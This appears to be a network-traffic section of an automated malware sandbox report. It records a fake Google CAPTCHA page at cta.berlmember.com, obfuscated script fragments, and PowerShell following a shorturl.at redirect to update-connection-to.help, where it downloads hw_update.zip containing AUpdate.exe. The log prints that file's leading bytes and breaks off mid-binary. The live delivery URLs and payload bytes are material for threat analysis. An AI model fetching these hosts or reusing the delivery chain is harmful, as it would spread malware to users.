2025-02-27 19:24:28 UTC	8000	IN	Data Raw: 5a 32 71 51 36 41 63 77 74 30 53 6d 73 53 37 49 56 7a 42 32 43 37 31 4c 6b 4d 4c 6e 4d 5b 5f 58 50 34 38 39 4d 63 41 34 4d 6e 53 5d 28 5c 5c 5c 22 5f 43 36 75 34 54 36 63 6a 36 62 39 5c 5c 5c 22 2c 5f 43 36 61 61 63 69 42 44 56 57 51 30 58 59 6f 79 61 4e 4b 42 78 55 34 73 61 33 75 29 28 5f 43 36 75 34 54 36 63 6a 36 62 39 29 3b 7d 28 5c 5c 5c 22 5c 5c 5c 22 2c 30 2c 5f 43 53 67 57 32 68 34 30 38 4a 45 38 72 73 78 39 68 34 78 5a 32 71 51 36 41 63 77 74 30 53 6d 73 53 37 49 56 7a 42 32 43 37 31 4c 6b 4d 4c 6e 4d 5b 5f 53 34 58 37 42 5d 2c 5f 43 53 67 57 32 68 34 30 38 4a 45 38 72 73 78 39 68 34 78 5a 32 71 51 36 41 63 77 74 30 53 6d 73 53 37 49 56 7a 42 32 43 37 31 4c 6b 4d 4c 6e 4d 5b 5f 55 33 4d 33 78 52 39 69 37 42 76 58 32 55 37 35 33 50 57 31 74 37 33 Data Ascii: Z2qQ6Acwt0SmsS7IVzB2C71LkMLnM[_XP489McA4MnS](\\\"_C6u4T6cj6b9\\\",_C6aaciBDVWQ0XYoyaNKBxU4sa3u)(_C6u4T6cj6b9);}(\\\"\\\",0,_CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM[_S4X7B],_CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM[_U3M3xR9i7BvX2U753PW1t73
2025-02-27 19:24:28 UTC	8000	IN	Data Raw: 39 2d 56 5c 5c 5c 5c 5c 5c 5c 5c 44 5c 5c 5c 5c 5c 5c 5c 5c 28 63 20 24 7a 67 26 2d 64 2b 5c 5c 5c 5c 5c 5c 5c 22 67 76 6d 63 78 58 7c 7a 66 39 4b 63 4b 43 36 2d 63 24 56 64 66 67 2b 6d 5c 5c 5c 5c 5c 5c 5c 5c 58 7c 36 39 20 5e 74 45 4e 4d 4a 45 27 28 7d 61 5d 7c 5e 20 47 45 45 6a 58 60 6c 28 7a 26 5c 5c 5c 5c 5c 5c 5c 22 69 63 46 20 6c 47 28 5d 45 48 67 47 21 20 61 47 36 39 67 45 27 44 36 39 61 27 61 43 45 36 39 5c 5c 5c 5c 5c 5c 5c 22 66 74 65 6c 5b 5b 4d 59 49 4a 61 4c 67 66 20 26 4d 20 4d 4b 7e 4e 5c 5c 5c 5c 5c 5c 5c 22 78 2d 2c 25 64 4b 79 4b 6a 4d 24 6f 5b 6b 79 44 36 39 45 21 2a 2e 76 25 48 4e 78 6b 29 5b 4e 79 5b 43 36 39 79 25 2a 29 6b 48 76 78 4e 36 39 21 5b 74 45 46 66 2d 23 6f 58 36 39 5f 7d 46 44 67 7c 78 39 77 4a 46 43 36 67 77 78 39 4a 7d Data Ascii: 9-V\\\\\\\\D\\\\\\\\(c $zg&-d+\\\\\\\"gvmcxX\|zf9KcKC6-c$Vdfg+m\\\\\\\\X\|69 ^tENMJE'(}a]\|^ GEEjX`l(z&\\\\\\\"icF lG(]EHgG! aG69gE'D69a'aCE69\\\\\\\"ftel[[MYIJaLgf &M MK~N\\\\\\\"x-,%dKyKjM$o[kyD69E!.v%HNxk)[Ny[C69y%)kHvxN69![tEFf-#oX69_}FDg\|x9wJFC6gwx9J}
2025-02-27 19:24:28 UTC	6431	IN	Data Raw: 49 61 61 4e 64 48 4b 4b 27 2c 45 4a 2e 4d 4b 7d 65 5a 45 46 48 6e 2c 7d 28 4c 26 5f 6e 59 56 20 61 3d 72 4c 4d 6f 74 5a 48 46 56 20 4d 64 47 48 4a 2a 47 4c 49 21 67 46 62 2b 47 4a 5d 4d 62 58 4a 2a 23 79 5b 62 5b 60 77 61 46 26 78 48 6f 77 57 4a 57 5d 30 65 5c 5c 5c 5c 5c 5c 5c 5c 39 74 70 68 74 43 6d 4d 60 47 4c 48 5d 6f 58 4b 3d 72 3e 4d 41 4b 46 41 74 50 3e 5d 67 6f 7c 5f 7b 49 59 20 5e 6a 28 5d 4e 4d 2f 66 4e 77 4c 78 2e 4d 60 74 52 5c 5c 5c 5c 5c 5c 5c 5c 5d 67 6f 7c 5f 7b 49 59 20 5e 6a 28 5d 4e 4d 2f 66 4e 77 4c 78 2e 4d 60 74 70 5c 5c 5c 5c 5c 5c 5c 5c 74 43 39 7c 78 56 46 4a 4b 5b 6b 45 2f 5d 5e 21 48 7d 5c 5c 5c 5c 5c 5c 5c 22 49 23 63 4b 59 5f 24 28 4c 7b 4c 48 7e 7b 62 69 56 20 6f 5f 27 4e 46 2b 46 4c 4a 47 4a 48 56 6d 3d 72 45 74 41 45 5d 67 Data Ascii: IaaNdHKK',EJ.MK}eZEFHn,}(L&_nYV a=rLMotZHFV MdGHJGLI!gFb+GJ]MbXJ#y[b[`waF&xHowWJW]0e\\\\\\\\9tphtCmM`GLH]oXK=r>MAKFAtP>]go\|_{IY ^j(]NM/fNwLx.M`tR\\\\\\\\]go\|_{IY ^j(]NM/fNwLx.M`tp\\\\\\\\tC9\|xVFJK[kE/]^!H}\\\\\\\"I#cKY_$(L{LH~{biV o_'NF+FLJGJHVm=rEtAE]g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49705	103.52.144.214	443	7064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-27 19:24:29 UTC	611	OUT	GET /favicon.ico HTTP/1.1 Host: cta.berlmember.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cta.berlmember.com/google/captcha.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-27 19:24:30 UTC	219	IN	HTTP/1.1 200 OK Date: Thu, 27 Feb 2025 19:24:29 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips X-Powered-By: PHP/7.3.10 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-02-27 19:24:30 UTC	90	IN	Data Raw: 35 34 0d 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 34 3e 20 44 69 6b 65 6c 6f 6c 61 20 64 61 6e 20 44 69 6b 65 6d 62 61 6e 67 6b 61 6e 20 6f 6c 65 68 20 54 65 61 6d 20 42 20 45 72 6c 20 43 6f 73 6d 65 74 69 63 73 3c 2f 68 34 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0d 0a Data Ascii: 54<center> <h4> Dikelola dan Dikembangkan oleh Team B Erl Cosmetics</h4></center>
2025-02-27 19:24:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	52362	103.52.144.214	443	7064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-27 19:24:31 UTC	353	OUT	GET /favicon.ico HTTP/1.1 Host: cta.berlmember.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-27 19:24:32 UTC	219	IN	HTTP/1.1 200 OK Date: Thu, 27 Feb 2025 19:24:32 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips X-Powered-By: PHP/7.3.10 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-02-27 19:24:32 UTC	90	IN	Data Raw: 35 34 0d 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 34 3e 20 44 69 6b 65 6c 6f 6c 61 20 64 61 6e 20 44 69 6b 65 6d 62 61 6e 67 6b 61 6e 20 6f 6c 65 68 20 54 65 61 6d 20 42 20 45 72 6c 20 43 6f 73 6d 65 74 69 63 73 3c 2f 68 34 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0d 0a Data Ascii: 54<center> <h4> Dikelola dan Dikembangkan oleh Team B Erl Cosmetics</h4></center>
2025-02-27 19:24:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	52539	104.26.9.129	443	7848	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-27 19:25:04 UTC	161	OUT	GET /qTlJM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: shorturl.at Connection: Keep-Alive
2025-02-27 19:25:04 UTC	943	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 27 Feb 2025 19:25:04 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close location: https://www.shorturl.at/qTlJM x-xss-protection: 1; mode=block x-content-type-options: nosniff x-nginx-upstream-cache-status: MISS x-server-powered-by: Engintron cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FCHaXnDlQu1Sfrlxvpptd4OkPG5Gmj6kXB3FxupSH3665X8%2FM1cTVG2hQN746SwwPmnuQQ0NL%2BNjqwE6Lby8UZoIrbaTOPy%2BBbWB5A5MyFDVMiR3ljBEAk3kAby9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 918a8f088d655589-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1664&rtt_var=625&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=775&delivery_rate=1750599&cwnd=237&unsent_bytes=0&cid=92dc4354bfb1af05&ts=175&x=0"
2025-02-27 19:25:04 UTC	243	IN	Data Raw: 65 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 73 68 6f 72 74 75 72 6c 2e 61 74 2f 71 54 6c 4a 4d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: ed<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.shorturl.at/qTlJM">here</a>.</p></body></html>
2025-02-27 19:25:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	52542	172.67.69.88	443	7848	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-27 19:25:05 UTC	165	OUT	GET /qTlJM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.shorturl.at Connection: Keep-Alive
2025-02-27 19:25:05 UTC	986	IN	HTTP/1.1 302 Found Date: Thu, 27 Feb 2025 19:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close location: https://update-connection-to.help/factory/girl x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-nginx-upstream-cache-status: MISS x-server-powered-by: Engintron cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ro2vz3hcfXfuwf9LK2r7DH4fIXBgEe7H0kGrjhO8XOpOf%2BNNDRbg0KdojYfrEc1g5Hn8UfMJeHPZQBavG3dC1GiVyOx%2FEBuFWkCdakbrYrRYsIco9%2F%2BgqJs0LhM071yrCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 918a8f0c8a5d4405-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1646&rtt_var=661&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=779&delivery_rate=1773997&cwnd=234&unsent_bytes=0&cid=8673e481c3267148&ts=182&x=0"
2025-02-27 19:25:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	52546	104.21.68.54	443	7848	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-27 19:25:06 UTC	182	OUT	GET /factory/girl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: update-connection-to.help Connection: Keep-Alive
2025-02-27 19:25:06 UTC	708	IN	HTTP/1.1 200 OK Date: Thu, 27 Feb 2025 19:25:06 GMT Content-Type: application/octet-stream Content-Length: 2658642 Connection: close Server: cloudflare X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Referrer-Policy: strict-origin-when-cross-origin Content-Disposition: attachment; filename="hw_update.zip"; filename*=UTF-8''hw_update.zip Content-Transfer-Encoding: binary Cache-Control: no-cache X-Request-Id: 4ed82c44-0bf0-46fc-84c6-839c8c2e785b X-Runtime: 0.003311 Strict-Transport-Security: max-age=63072000; includeSubDomains Cf-Cache-Status: DYNAMIC CF-RAY: 918a8f111950c32e-EWR alt-svc: h3=":443"; ma=86400
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: 50 4b 03 04 14 00 00 00 00 00 d0 93 59 5a 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 4d 61 78 69 41 69 72 2f 50 4b 03 04 14 00 00 00 08 00 bb 93 59 5a 61 31 55 a3 fe 92 01 00 68 91 04 00 13 00 00 00 4d 61 78 69 41 69 72 2f 41 55 70 64 61 74 65 2e 65 78 65 ec 5d 6b 7c 54 c5 15 bf 9b 4d c2 42 80 5d 90 95 20 20 51 83 4d 8b 62 20 6a 13 56 60 2f d9 c8 5d d8 48 78 08 51 40 62 a3 11 2b 6a 84 5d 08 ca 23 b8 41 59 2e 5b 63 85 82 55 5b 6b d5 da 56 5b 7c 54 13 7c 25 04 48 78 c8 b3 6a 84 aa a8 55 6e 5c ad a0 15 c2 f3 f6 7f ce dc 7b 77 93 00 a5 ed d7 f2 e3 ee bc ce 9c 39 73 66 e6 cc 99 33 8f 14 de 58 2d d9 25 49 4a c6 a7 eb 92 54 23 89 7f 5e e9 1c fe d9 24 a9 fb 80 75 dd a5 57 3a bf 73 51 8d 2d f0 ce 45 93 66 de 3e 27 a3 7c f6 dd b7 cd be f9 ce 8c d2 9b ef ba eb Data Ascii: PKYZMaxiAir/PKYZa1UhMaxiAir/AUpdate.exe]k\|TMB] QMb jV`/]HxQ@b+j]#AY.[cU[kV[\|T\|%HxjUn\{w9sf3X-%IJT#^$uW:sQ-Ef>'\|
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: 83 72 16 2b 9e c6 e0 d5 01 d5 15 88 06 32 8b d1 b9 d6 fd d1 2c 61 42 39 92 fa 52 46 64 e9 a3 4f 9c a9 be ef 69 74 ae 5c cf 31 fa c4 f2 6a 81 d3 b3 c3 59 35 1b 94 30 72 57 cb 6d 4c 94 7a a4 3d 59 be f6 64 7d 3c ee 2c 64 65 10 59 43 0c b2 32 da 90 f5 f3 5c 94 80 d4 f3 28 6f 06 e7 9d a9 1e f1 34 7a 9d ab 36 e9 ee 77 df 60 3e a9 e7 31 6c 35 8d 61 ef b0 c6 50 8a a2 7e 1c eb af bb 5f 4d 4c 16 a3 28 5c e1 4a 52 9c 05 1f 2b ea 54 87 12 a1 41 ed f9 38 d8 45 51 ed 8a ba 55 2f 72 54 a3 e3 15 d7 26 65 48 bd 74 77 e5 1b 44 c3 4e b9 f6 52 69 a9 44 15 2b 26 18 f7 3d 88 ae 6e 93 cb 95 c0 9b c9 36 8b 37 63 6d d4 94 df 0a 1a d6 ad 4e 68 ca 21 9c d2 6c a4 ac 49 48 e9 cd 29 6f 19 29 75 09 29 27 41 fc 92 63 4e 8c 48 e7 ca 06 d1 0f 8a 0d 86 17 83 e1 7b 36 b7 63 f8 5d d7 19 0c Data Ascii: r+2,aB9RFdOit\1jY50rWmLz=Yd}<,deYC2\(o4z6w`>1l5aP~_ML(\JR+TA8EQU/rT&eHtwDNRiD+&=n67cmNh!lIH)o)u)'AcNH{6c]
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: 8c 71 51 a6 15 9c 49 8b 3c 84 91 29 d7 10 4a 05 ad 9d 81 81 7d d7 ad 54 9d ce d0 a3 d6 92 4e 43 ca 97 76 78 3c 55 19 9c 0c a0 79 bd 20 56 21 56 a1 77 05 ca f0 53 44 dc f0 2a d1 95 5c 1c 2a cd ae 76 b9 23 1e d0 dd 07 5e 8c 33 05 15 12 4c b9 74 39 81 18 55 5e b2 81 58 72 93 58 87 84 65 87 8e c9 2a d4 03 7d c8 d7 c0 62 40 f3 8e 68 37 a7 10 10 ba 56 a8 87 56 7b 9c 64 c6 56 ad 3f 83 c4 ec c8 ca 82 34 be 8e c8 b6 d6 11 de e5 47 73 f6 29 91 fe 77 de 82 05 48 ff a9 fc 3b 1e bf 88 9a 40 4e b4 5b 18 05 6a ef a1 71 87 35 84 3a 0d ad e3 75 71 0e ad d3 61 cc f1 34 2c a4 a8 3f 22 aa 36 1b 3f da a2 e1 82 df c5 c8 b8 65 3d f9 1d 8d 34 39 93 af d8 15 29 4e 87 93 81 0f ed 91 72 ac d4 06 3e 76 3b 00 87 a5 89 7b 3c 32 f0 6c b4 7f ad 04 d4 0b 26 78 87 1d 0f 16 d6 ba 08 f1 c0 Data Ascii: qQI<)J}TNCvx<Uy V!VwSD\v#^3Lt9U^XrXe*}b@h7VV{dV?4Gs)wH;@N[jq5:uqa4,?"6?e=49)Nr>v;{<2l&x
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: 21 86 8c 5f 33 94 68 9b b7 bf fd e2 b0 c3 12 9f 84 8c 17 45 53 47 94 5c bc ec d0 a6 1c 4e 18 b9 5e 6d c1 61 82 dc 23 02 9d 90 af 9a bd 1d 96 fb 71 3a e3 1b 3b 5b fc b4 8d f3 ad 96 fd 3d 70 2c dd 17 74 d0 0a 61 1c 02 c4 84 bb 99 84 f7 c8 ab 8d 41 69 48 4f 43 41 14 6e 46 b8 3d ed 8a 8a 1e a4 38 da ab 1c c5 2e 25 32 13 1a 7e b9 28 d1 a6 94 de e0 c8 f9 da f3 21 31 e8 ca 66 30 27 fc 0f 94 da 1d 9d 9d 18 f4 43 83 41 f3 86 d0 10 23 06 ed 10 b3 a6 3a cb b0 17 f1 fc d9 92 73 37 db 4b a0 49 df b3 8e c6 b2 a2 0f dc 9f 6f 93 78 4e 8d ba 57 c1 86 5c 9b c1 53 e3 de 67 68 88 bb c3 66 8c b6 f4 3e 31 3f bb b4 3d f3 24 49 ec 7c cc 17 7d bc db 0b 3a fe b9 7f 9d 2f 0c 33 c0 f9 34 72 13 ce 40 54 4e 07 96 e1 71 bc cb 01 44 0b 0a 13 72 36 c2 c6 ba 01 cd a6 bb 7f 89 30 69 01 51 Data Ascii: !_3hESG\N^ma#q:;[=p,taAiHOCAnF=8.%2~(!1f0'CA#:s7KIoxNW\Sghf>1?=$I\|}:/34r@TNqDr60iQ
2025-02-27 19:25:06 UTC	404	IN	Data Raw: 23 66 87 44 25 1a 48 aa 26 f1 f8 76 04 d4 c7 08 ae 10 12 3d b5 30 9a df 06 e6 6d 6a 46 f5 7d 40 11 37 2b b8 70 83 e9 15 90 86 d4 4c dd 24 3b 45 63 f0 50 03 79 a9 a9 72 25 ef b2 05 99 d9 f4 93 15 59 40 d6 5f ea 13 a4 fb f3 fc 5c 2e 4c 39 cc ff 8a 36 fc 7f 9c 9b d6 d4 61 d4 0d 24 5a bc e1 12 0d 51 25 fb 51 ca 07 eb 7a 51 7a 54 69 86 98 d9 f0 12 f5 bd f5 8d de e6 74 ee 8b 7f 5f 43 75 0e 3f 69 d8 e7 ae 51 c8 2a 73 b5 a1 60 bd 8d 44 44 5e 31 9c 76 94 43 19 60 16 c1 51 e1 bd cc f1 b8 92 f2 87 7f fb a4 38 ea 49 ab fe a9 0d b0 3c 1c 3e cd d8 54 fd ed 54 fc dc 86 b8 1c c4 e8 32 71 5f 0e 4e d2 56 9c ee 1e 07 e4 f1 42 e3 42 60 40 bc 50 21 fe b4 db 2f 87 86 68 e0 ea 43 d3 6c 0f 96 d7 93 7f c9 d3 99 b6 77 a0 a9 9e 92 4c 59 ba 79 fe f9 62 9a ac 5d 25 49 28 6b 3c ca 6a Data Ascii: #fD%H&v=0mjF}@7+pL$;EcPyr%Y@_\.L96a$ZQ%QzQzTit_Cu?iQ*s`DD^1vC`Q8I<>TT2q_NVBB`@P!/hClwLYyb]%I(k<j
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: d9 78 9a b1 79 ec f9 d0 60 ff fb 6b 04 fb a7 72 8e 79 b9 6a ca 45 2f 8b 65 36 7a 62 97 ad d4 13 53 de 7e 89 27 bc 37 9a 58 d4 40 8b ff e9 1a 4b e8 04 a2 e3 bc 81 e8 68 36 83 64 d1 20 28 52 84 89 7f 4a 2e 7a 10 22 7d e1 2d 3a 62 bc 6c 27 31 6d 57 b4 50 28 09 90 5d 87 57 a1 e4 cb 26 9f 8f 7c 59 d1 d9 49 74 e4 0e ad 27 d7 6c 4c a5 b1 5c e1 d9 e8 ac da 88 9a 11 96 e2 44 2c c5 10 7a 3e 9c 43 22 80 a7 09 80 b6 4a 8d b4 72 95 45 68 36 a5 2d e3 f1 85 59 85 91 88 4d 4e 5f f4 ba 01 be c8 8a 4c 9a 33 22 cf 63 da 62 93 14 83 04 0c d0 75 7f 60 9c 0f 89 69 e5 a9 ab 6c 12 76 1b ab 18 14 94 28 a2 83 a1 da 34 0b ac 60 a4 da e5 39 c0 4c cb 4b 32 66 2d 38 0d 3d b9 06 fd 7d f4 47 c8 36 dc 4d aa 74 48 ea 4e 8e d4 1f 21 01 62 99 4f df 13 e7 a4 48 7e c3 65 f9 7d c7 5d c2 68 70 Data Ascii: xy`kryjE/e6zbS~'7X@Kh6d (RJ.z"}-:bl'1mWP(]W&\|YIt'lL\D,z>C"JrEh6-YMN_L3"cbu`ilv(4`9LK2f-8=}G6MtHN!bOH~e}]hp
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: d0 61 f6 da 5b 9e 35 7b ed ee 1f 08 11 f1 3d 6b 47 8f 3f 64 0c eb 95 40 49 11 e7 21 c2 9b 2b 3a 7c f0 2e 96 21 d3 15 75 25 63 15 23 fb c5 cb 24 53 54 4c 88 09 11 71 ff 97 24 22 8a 1e b2 04 d7 9b 3f 33 e5 c3 db 48 aa 4e e8 f6 ce aa 19 f1 d3 ef 93 92 4c a4 93 a6 a2 16 04 ff f2 57 6d e1 13 4e 2e 42 c4 53 73 38 a9 39 ba 70 73 dc d8 07 8c 17 72 fe c1 03 c6 7e 47 39 17 72 03 30 63 97 c5 59 55 04 0f 6f 24 0c 06 6c cb 28 2e 70 2c 59 c9 44 0f 31 ad 80 6d 23 a7 9f 2e f2 8f a9 1c 89 f3 2f 3f 6b c7 b3 03 51 21 fe 8e c4 fe 03 da 7f 95 6e d1 be f5 8b 36 b4 3f 61 33 68 5f 69 33 68 9f 0d d8 96 07 10 12 d3 df f3 40 9f 28 d7 c7 7e 92 30 f3 24 7d ab eb 86 e0 5d fd b4 d9 e8 1f 0e a4 46 f7 3a 57 36 7a 87 9d 0a ba c2 0b 32 73 0d a9 b1 e7 10 49 9b e5 8d 87 9b fb ee 3e b2 37 bc Data Ascii: a[5{=kG?d@I!+:\|.!u%c#$STLq$"?3HNLWmN.BSs89psr~G9r0cYUo$l(.p,YD1m#./?kQ!n6?a3h_i3h@(~0$}]F:W6z2sI>7
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: 0c b1 63 b4 7a 8d b1 df 5d bd 8c 3d 3b b4 cf 3e 15 67 6e 6e 3b 45 ee e3 62 95 ba 64 03 11 08 7d e2 2c 36 b7 a3 9a e3 43 56 1f 3e b8 12 ea 43 11 fb fb bf 03 3f 29 3d 77 22 48 6e ad 00 79 95 40 4e 8a 13 42 dd 7e 4f 81 0d 9f 72 c2 13 e4 cf fa 3b fb 1f 26 bf eb 33 01 54 45 81 01 a4 4b bc 68 d3 f6 ec e0 c8 46 cb d4 66 9d f9 b1 f6 a3 b2 e2 86 ef f2 74 ba 9a c3 b7 89 1a bd ac 02 68 7f 82 c2 5b 55 17 ec 02 81 63 48 05 25 92 83 4d 26 87 71 93 25 92 ef e2 03 94 5a 37 52 52 88 f0 2b 21 04 37 a1 c2 b6 4a 6c e1 48 c1 91 46 1b 63 64 8b 1b de 45 e9 18 83 99 04 21 c5 32 d0 b6 44 5a 79 ec 7c c3 ed 6e b8 a9 86 bb 4e 60 ff dd 61 60 77 0e 60 03 be e1 a8 c0 42 b7 37 4a 84 2e 37 27 83 f5 b8 0e f7 a3 70 d9 8d 0f c7 1d d2 dd 5d 16 f3 1d af d2 1c 1b 6f f5 52 17 6d a2 ad 47 ad 05 Data Ascii: cz]=;>gnn;Ebd},6CV>C?)=w"Hny@NB~Or;&3TEKhFfth[UcH%M&q%Z7RR+!7JlHFcdE!2DZy\|nN`a`w`B7J.7'p]oRmG
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: b9 10 03 6a 72 60 df c9 b5 2e 55 14 d1 2c c8 17 02 16 64 4e 2b c3 4f 89 50 b2 1e 38 4e 68 16 88 eb 17 5e 6e 61 04 79 12 cd 22 1e 51 5d 93 e0 1a 56 46 f8 bc 62 5b dd 7d f0 7c dc b4 6c 5c d8 4b 9c 62 f7 ec 88 5f 85 a1 b7 8d 18 d9 02 fa b1 b7 07 58 6b e3 d3 53 c6 91 fd af af 33 2e ce ba c4 e9 29 38 38 5f 5f 53 4d f5 2d 98 c6 f5 45 f5 b6 be 68 55 af 12 29 42 fe cb cb 9b 81 ae 20 67 9f 3c 6c 5f 68 28 df 7c 66 2d 80 68 17 97 62 a6 e1 ca 33 fd 66 73 9f d0 1e 3d 26 74 15 cc e2 c7 82 62 09 56 69 90 51 76 1d 17 4f c5 4e b5 f8 bd 71 ea 19 f9 3d ec c5 f6 fc ee c8 ea 1c bd 1d b3 fb 1c fb f7 cc b6 0b 66 13 a7 2b 7d d1 d1 36 83 db f7 bb cf c6 ed 80 c5 ed 34 13 c0 d8 c0 6a c7 ed c5 85 a7 e1 76 f5 e9 fa 35 74 68 4c a0 a2 4b df 6a 33 8e e2 89 7b ff 17 fe 91 82 2e 5a 51 f0 Data Ascii: jr`.U,dN+OP8Nh^nay"Q]VFb[}\|l\Kb_XkS3.)88__SM-EhU)B g<l_h(\|f-hb3fs=&tbViQvONq=f+}64jv5thLKj3{.ZQ
2025-02-27 19:25:06 UTC	1369	IN	Data Raw: 84 7e 84 a4 32 5f 5e 0f 9c 60 09 d7 25 c1 e7 0a 1d 56 06 d5 2b bb 5a 1b ca 7c 9e 1e c1 3c e3 a6 4d 78 7d 92 4f ed 22 3b 5f ab 97 3d eb 83 03 64 bd 4e 3e 52 4f ef 87 07 cf 43 5a 32 c2 22 19 77 df b7 84 3e 91 d5 ba 06 98 bf 88 86 3a 3f 76 af 32 65 cf ce 05 03 94 52 58 17 7a c9 48 8c 75 45 49 b6 a0 13 87 1d 92 74 5c 20 d8 32 fb 9b ef 38 43 01 dd ee dc 82 19 d9 ef d9 8d db 0d 9e f5 8b b2 a8 02 03 62 bd 9d af f5 90 f5 a6 32 19 f1 3d ca 22 2e a2 96 72 d3 0b b9 8b 3f 83 be e9 f2 0b aa b9 de 94 e7 62 dc 6f c5 a5 ba f5 85 ea 96 98 0b f9 76 06 cf d3 eb fc 7a 7d d9 b5 6a b2 bf 0c a8 43 5f 86 9b 74 eb de 9a 9a f2 f8 6f ad eb b7 59 ce d7 f6 aa bb 58 13 a9 25 55 54 ae 4d 16 ef 3f de c6 b7 3c 3a 95 a9 48 89 e1 2a 6a 6d e9 bc 99 